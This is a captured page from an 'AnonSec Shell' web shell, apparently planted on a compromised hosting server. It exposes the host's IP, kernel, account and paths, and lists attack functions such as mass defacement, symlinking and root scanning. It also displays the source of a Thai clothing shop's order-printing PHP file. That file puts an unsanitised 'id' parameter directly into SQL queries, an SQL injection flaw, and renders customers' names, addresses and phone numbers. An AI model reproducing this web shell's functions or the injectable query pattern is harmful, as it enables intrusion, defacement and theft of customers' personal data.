AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/homhuan.com/mybackend/createorders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/homhuan.com/mybackend/createorders/print.php
<?php require_once("../include/class.php");?>
<?php require_once("../include/header.php");?>
<?php require_once("../include/nav_top.php");?>
<?php require_once("../include/sidebar.php");?>
<?php include("table_name.php");?>

<script>
 function PrintElem(elem)
    {
		Popup($(elem).html());
    }
 function Popup(data) 
    {
        var mywindow = window.open('print_order.php', 'ใบสั่งซื้อสินค้า - หอมหวลชุดปฏิบัติ', 'height=500,width=600');
        mywindow.document.write('<html><head><title>ใบสั่งซื้อสินค้า - หอมหวลชุดปฏิบัติ</title>');
        /*optional stylesheet*/ //mywindow.document.write('<link rel="stylesheet" href="main.css" type="text/css" />');
        mywindow.document.write('</head><body >');
        mywindow.document.write(data);
        mywindow.document.write('</body></html>');

        mywindow.document.close(); // necessary for IE >= 10
        mywindow.focus(); // necessary for IE >= 10

        mywindow.print();
        mywindow.close();

        return true;
    }
</script>


<div id="main-content">
  <div class="container-fluid">
  
    <ul class="breadcrumb">
      <li><a href="../<?php echo $name_folder; ?>/list.php"><?php echo ucfirst($name_table) ?></a><span class="divider">&raquo;</span></li>
      <li class="active">Print</li>
    </ul>
    
    <div class="row-fluid">
			<div class="span12">
				<div class="widget-block">
					<div class="widget-head">
                   
						<h5>Print</h5>
						<div class="widget-control pull-right">
						
						</div>
					</div>
                     
					<div class="widget-content">
						<div class="widget-box" style="padding:20px;">
                              
<?php
$Or_id = $_GET['id'];


$sql_or = array('table'=>'c_orders','where'=>"Oid = '".$Or_id."'");
$view_or = $view_db->view($sql_or);
$row_or = $view_db->q($view_or);

$sql_sa = array('table'=>'ship_addr','where'=>"SAid = '".$row_or['SAid']."'");
$view_sa = $view_db->view($sql_sa);
$row_sa = $view_db->q($view_sa);

$list_sp = array('table'=>'shipping','where'=>'status = 1 AND price = "'.$row_or['Oshipprice'].'"');				  
$view_sp = $view_db->view($list_sp);
$row_sp = $view_db->q($view_sp);
 
?>
<div id="orders2"> 
<table width="100%" border="1" cellpadding="0" cellspacing="0"  class="table" >
<tr>
    <td style="padding:15px;"  colspan="5">
    <img src="../../image/logo.png" width="188" height="48" style="position:absolute;right:0px;margin-right:55px;"/>
        ข้อมูลผู้สั่งซื้อ <br>
        คุณ <?php echo $row_sa['SAfname'] . ' ' .$row_sa['SAlname'];?><br><br>
        ที่อยู่จัดส่ง<br>
        <?php echo $row_sa['SAaddr'] ?>  <?php echo $row_sa['SAstate'] ?>  <?php echo $row_sa['SAzip'] ?> <br>
        โทร. <?php echo $row_sa['phone'];?> <br><br>
    </td>
</tr>
<tr align="center">
            <td style="padding:15px;" align="left">ชื่อสินค้า / รหัส</td>
            <td style="padding:15px;">ขนาด</td>
            <td style="padding:15px;">จำนวน</td>
            <td style="padding:15px;">ราคารวม</td>
</tr>
  <?php
		  $num = 0;
		  
		$list_ord = array('table'=>'c_order_detail','where'=>'Oid = "'.$Or_id.'"','order'=> "ORDER BY ODid ASC");				  
		$view_ord = $view_db->view($list_ord);
		$result_ord = $view_db->q_re($view_ord);
		while($row_ord = $view_db->q_ro($result_ord))
		{
			 $num_mod = $num % 2;
			 
			  
			$sql_pro = array('table'=>'product','where'=>"id = '". $row_ord["Pid"]."'");
			$view_pro = $view_db->view($sql_pro);
			$row_pro = $view_db->q($view_pro);
			
			$sql_pros = array('table'=>'product_size','where'=>"product_id = '". $row_ord["Pid"]."' AND id = '".$row_ord["SPid"]."'");
			$view_pros = $view_db->view($sql_pros);
			$row_pros = $view_db->q($view_pros);
			  
			  
			  ?>
              <tr align="center">
                    <td align="left"  style="padding:15px;">
                        <div style="font-weight:bold;"><?php echo $row_pro['name']?></div>
                        <div style="color:#8b8a8a;">รหัสสินค้า : <?php echo $row_pro['code']?></div>
                        <div style="color:#8b8a8a;">ราคา : <?php echo number_format( $row_pros['price'], 2, '.', ',' );?> บาท</div>
                    </td>
                    <td><?php echo $row_pros["size"] ?></td>
                    <td><?php echo $row_ord['ODqty']?></td>
					<?php $price = $row_ord['price'] * $row_ord['ODqty'];?>
					<td><?php echo number_format( $price, 2, '.', ',' );?></span> บาท</td>
                  </tr>
              <?php
			  $total = $total +  $price;
			  $num++;
			  ?>
              
              <?php
		  }
		   $total_all = $total + $row_sp['price'];
		  ?>
            <tr align="right">
            <td style="padding:15px;font-weight:bold;" colspan="3">ราคารวมทั้งหมด</td>
            <td style="padding:15px;color:#f68236;" align="left">
            <span id="total"><?php echo number_format( $total, 2, '.', ',' );?></span> บาท
            </td>
			<?php
            $list_promo = array('table'=>'orders_promotion','where'=>'id_order  = "'.$Or_id.'"','order'=> "ORDER BY id ASC");				  
            $view_promo = $view_db->view($list_promo);
            $result_promo = $view_db->q_re($view_promo);
            while($row_promo = $view_db->q_ro($result_promo))
            {
                ?>
                <tr align="right">
                    <td style="padding:15px;font-weight:bold;" colspan="3"><?php echo $row_promo['name']?></td>
                    <td style="padding:15px;color:#f68236;" align="left">
                    <span id="total"><?php echo number_format( $row_promo['discount'], 2, '.', '' );?></span> บาท
                    </td>
                  </tr>
                <?php
            }
            ?>
          <tr align="right">
            <td style="padding:15px;font-weight:bold;" colspan="3"><?php echo $row_sp['name']?></td>
            <td style="padding:15px;color:#f68236;" align="left">
            <span id="total"><?php echo number_format( $row_or['Oshipprice'], 2, '.', '' );?></span> บาท
            </td>
          </tr>
          <tr align="right">
           <td style="padding:15px;font-weight:bold;" colspan="3">ยอดชำระทั้งหมด</td>
            <td style="padding:15px;color:#f68236;" align="left">
            <span id="total"><?php echo number_format( $row_or['Ototal'], 2, '.', '' );?></span> บาท
            </td>
          </tr>
</table>
</div>

<div style="padding:25px;" align="center">
	<input type="button" name="" class="btn btn-success" value="พิมพ์ใบสั่งซื้อ"  onClick="PrintElem('#orders2')" >
</div>

                            
						</div>
					</div>
				</div>
			</div>
		</div>
    
    
  </div>
</div>





<?php unset($_SESSION['er']);?>
<?php require_once("../include/footer_js.php");?>
</body>
</html>

Anon7 - 2022
AnonSec Team